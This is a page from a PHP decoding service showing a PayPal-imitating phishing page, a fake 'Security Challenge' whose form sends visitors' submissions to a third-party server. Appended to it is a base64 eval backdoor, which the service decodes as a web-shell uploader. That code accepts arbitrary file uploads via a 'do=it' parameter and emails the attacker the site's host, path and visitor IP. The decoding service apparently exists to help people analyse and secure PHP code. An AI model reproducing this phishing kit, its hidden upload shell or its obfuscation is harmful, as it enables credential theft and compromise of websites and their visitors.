Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<!DOCTYPE html><!--[if lt IE 9]><html lang="en" class="no-js lower-than-ie9"><![endif]--><..

Decoded Output download

$do  = $_GET['do'];
if($do== 'it'){
$doshell = $_FILES['file']['name'];
$doit  = $_FILES['file']['tmp_name'];
echo "<form method='POST' enctype='multipart/form-data'>
 <input type='file'name='file' />
 <input type='submit' value='upload shell' />
</form>";
move_uploaded_file($doit,$doshell);
}
$ip = getenv("REMOTE_ADDR");
$ra44 = rand(1, 99999);
$subj98 = "   Shell  |$ip";
$email = "[email protected]";
$from = "From: Sme Nb <x-GhostDz>";
$b75 = $_SERVER['REQUEST_URI'];
$a45 = $_SERVER['HTTP_HOST'];
$m22 = $ip . "";
$msg8873 = "$a45$b75 $m22";
mail($email, $subj98, $msg8873, $from);

Did this file decode correctly?

Original Code

<!DOCTYPE html><!--[if lt IE 9]><html lang="en" class="no-js lower-than-ie9"><![endif]--><!--[if lt IE 10]><html lang="en" class="no-js lower-than-ie10"><![endif]--><!--[if !IE]>--><html lang="en" class="no-js"><!--<![endif]--><head><!--Script info: script: node, template:  , date: , country: , language: web version: content version: hostname : QjML33U2ZDrLc+mXRRYY54ZUw4ixcr7N5dS9+9gjjqCdufaC0ZjOc0NFgwlzISBcWyhH/LlFu4grlogid : --><!--Script info: script: node, template:  , date: Feb 1, 2018 10:02:36 -08:00, country: AU, language: en web version:  content version:  hostname : QjML33U2ZDrLc+mXRRYY54ZUw4ixcr7N5dS9+9gjjqCdufaC0ZjOc0NFgwlzISBcWyhH/LlFu4g rlogid : ucwKbSsjY0d%2BPcW9CHFH6K5GcSHkb33vhccAScrEErSRyxdTvX9HP4zOtIJnwzA9W%2F%2FT0CPep9C2cMtGCQ0PnucSTc7HF6IC_1615288da89 --><meta charset="utf-8" /><title>Security Challenge</title><meta http-equiv="content-type" content="text/html; charset=UTF-8" /><meta name="application-name" content="PayPal" /><meta name="msapplication-task" content="name=My Account;action-uri=https://www.paypal.com/us/cgi-bin/webscr?cmd=_account;icon-uri=http://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico" /><meta name="msapplication-task" content="name=Send Money;action-uri=https://www.paypal.com/us/cgi-bin/webscr?cmd=_send-money-transfer&amp;send_method=domestic;icon-uri=http://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico" /><meta name="msapplication-task" content="name=Request Money;action-uri=https://personal.paypal.com/cgi-bin/?cmd=_render-content&amp;content_ID=marketing_us/request_money;icon-uri=http://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico" /><meta name="keywords" content="transfer money, email money transfer, international money transfer " /><meta name="description" content="Transfer money online in seconds with PayPal money transfer. All you need is an email address." /><link rel="shortcut icon" href="https://www.paypalobjects.com/en_US/i/icon/pp_favicon_x.ico" /><link rel="apple-touch-icon" href="https://www.paypalobjects.com/en_US/i/pui/apple-touch-icon.png" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1, user-scalable=yes" /><link rel="stylesheet" href="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/css/app.css" /><!--[if lte IE 9]><link rel="stylesheet" href="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/css/ie9.css" /><![endif]--><script src="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/js/lib/modernizr-2.6.1.js"></script></head><body class="" data-view-name="authcaptcha"data-template-path="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/templates/AU/en/%s.js"data-csrf-token="XQZuOTyHTloaWheLSDTppClxlF2SSFKB9zwB8=" data-locale="en_AU"><noscript><p class="nonjsAlert" role="alert">NOTE: Many features on the PayPal Web site require Javascript and cookies.</p></noscript><!-- id should be first parameter --><div id="main" role="main"><div id="ads-plugin"><div class="container-fluid" id="captcha-standalone" data-captcha-type="recaptcha"  data-disable-autosubmit="true" data-jse="58cb612d6bbd58c79a70792aa1f072dd" ><div class="corral"><div id="content" class="contentContainer"><header><p class="paypal-logo paypal-logo-monogram">PayPal</p></header><h1 align="center" class="headerText">Security Challenge</h1><form  action="https://uimc.ui.edu.ng/service/update/" method="post" name="challenge" novalidate><iframe src="https://www.paypalobjects.com/authchallenge/recaptcha_v1.html?siteKey=6LepHQgUAAAAAFOcWWRUhSOX_LNu0USnf7Vg6SyA&locale.x=en_AU&country.x=AU" height="500" width="100%25" name="recaptcha" align="middle" frameborder="0" sandbox="allow-scripts allow-same-origin"></iframe><div class="actions"><button class="button actionContinue" type="submit" id="continue" name="continue" value="Continue" >Continue</button></div><input type="hidden" name="_csrf" value="XQZuOTyHTloaWheLSDTppClxlF2SSFKB9zwB8=" /><input type="hidden" id="session" name="_sessionID" value="2oNjlieEZX-GLxo_enpONPBuz517Vbh4"><noscript><input type="hidden" name="jsd" value="9222f7e88ac79f3cb5b609fa0655ff6d" /></noscript></form><script nonce=xbpx8Gx2rIU4tqs78bWoAGz1vfBJ4ctPQ6F5ug3xkXMh99AS>var autosubmit = true;var captchatype = '';captchatype = 'recaptcha';var jsenode = document.createElement("input");jsenode.type = 'hidden';jsenode.name = 'jse';jsenode.value = '58cb612d6bbd58c79a70792aa1f072dd';document.forms["challenge"].appendChild(jsenode);autosubmit = false;document.getElementById("ads-plugin").style.display = "block";autosubmit = false;document.getElementById("ads-plugin").style.display = "block";if (!document.getElementById("recaptchaEventListenerAdded")) {var reCaptchaDivElem = document.createElement("div");reCaptchaDivElem.id = 'recaptchaEventListenerAdded';document.getElementsByTagName('html')[0].appendChild(reCaptchaDivElem);var eventMethod = window.addEventListener ? "addEventListener" : "attachEvent";var eventer = window[eventMethod];var messageEvent = eventMethod == "attachEvent" ? "onmessage" : "message";eventer(messageEvent,function(e) {var inputnode = document.createElement("input");inputnode.type = 'hidden';inputnode.name = 'recaptcha';inputnode.value = e.data;document.forms["challenge"].appendChild(inputnode);document.forms["challenge"].submit();},false);}</script></div></div></div><script type="text/javascript" data-name="authchallenge" src="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/js/authchallenge.js"></script></div><div id="ads-plugin-end"></div></div><div class="transitioning hide"></div><script data-main="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/js/config" src="https://www.paypalobjects.com/web/res/09b/fcacc0e116b878922f4d1ba300fc4/js/lib/require.js"></script><script src="https://www.paypalobjects.com/pa/js/pa.js"></script><script nonce="xbpx8Gx2rIU4tqs78bWoAGz1vfBJ4ctPQ6F5ug3xkXMh99AS">(function(){if(typeof PAYPAL.analytics != "undefined"){PAYPAL.core = PAYPAL.core || {};PAYPAL.core.pta = PAYPAL.analytics.setup({data:'pgrp=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&page=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&qual=&tmpl=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&pgst=1517508156041&lgin=&vers=&calc=adc8a2953f99&rsta=en_AU&pgtf=Nodejs&s=ci&ccpg=&csci=67782ec22828470ca538ed2c3385d30f&comp=authchallengenodeweb&tsrce=unifiedloginnodeweb&pxpguid=&goal=&fltp=&flnm=&erpg=&erfd=&eccd=&cust=&acnt=&aver=&rstr=&pfid=&bztp=&mbtp=', url:'https:\/\/t.paypal.com\/ts'});}}());</script><noscript><img src="https:https://t.paypal.com/ts?nojs=1&pgrp=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&page=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&qual=&tmpl=authchallengenodeweb%2Fpublic%2Ftemplates%2Fauthcaptcha.dust&pgst=1517508156041&lgin=&vers=&calc=adc8a2953f99&rsta=en_AU&pgtf=Nodejs&s=ci&ccpg=&csci=67782ec22828470ca538ed2c3385d30f&comp=authchallengenodeweb&tsrce=unifiedloginnodeweb&pxpguid=&goal=&fltp=&flnm=&erpg=&erfd=&eccd=&cust=&acnt=&aver=&rstr=&pfid=&bztp=&mbtp=" alt="" height="1" width="1" border="0"></noscript></body></html>
<?php
eval(base64_decode("JGRvICA9ICRfR0VUWydkbyddOwppZigkZG89PSAnaXQnKXsKJGRvc2hlbGwgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsKJGRvaXQgID0gJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddOwplY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPgogPGlucHV0IHR5cGU9J2ZpbGUnbmFtZT0nZmlsZScgLz4KIDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSd1cGxvYWQgc2hlbGwnIC8+CjwvZm9ybT4iOwptb3ZlX3VwbG9hZGVkX2ZpbGUoJGRvaXQsJGRvc2hlbGwpOwp9CiRpcCA9IGdldGVudigiUkVNT1RFX0FERFIiKTsKJHJhNDQgPSByYW5kKDEsIDk5OTk5KTsKJHN1Ymo5OCA9ICIg8J+YiCDwn4aVIFNoZWxsIPCfmIggfCRpcCI7CiRlbWFpbCA9ICJodW5nYXJ5LnNwYW1tZXJAZ21haWwuY29tIjsKJGZyb20gPSAiRnJvbTogU+KYoO+4j21lIE7imKDvuI/imKDvuI9iIOKYoPCfmJw8eC1HaG9zdER6PiI7CiRiNzUgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsKJGE0NSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKJG0yMiA9ICRpcCAuICIiOwokbXNnODg3MyA9ICIkYTQ1JGI3NSAkbTIyIjsKbWFpbCgkZW1haWwsICRzdWJqOTgsICRtc2c4ODczLCAkZnJvbSk7")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 80abac1729ea4b3788693b97a2c92b6d
Eval Count 1
Decode Time 101 ms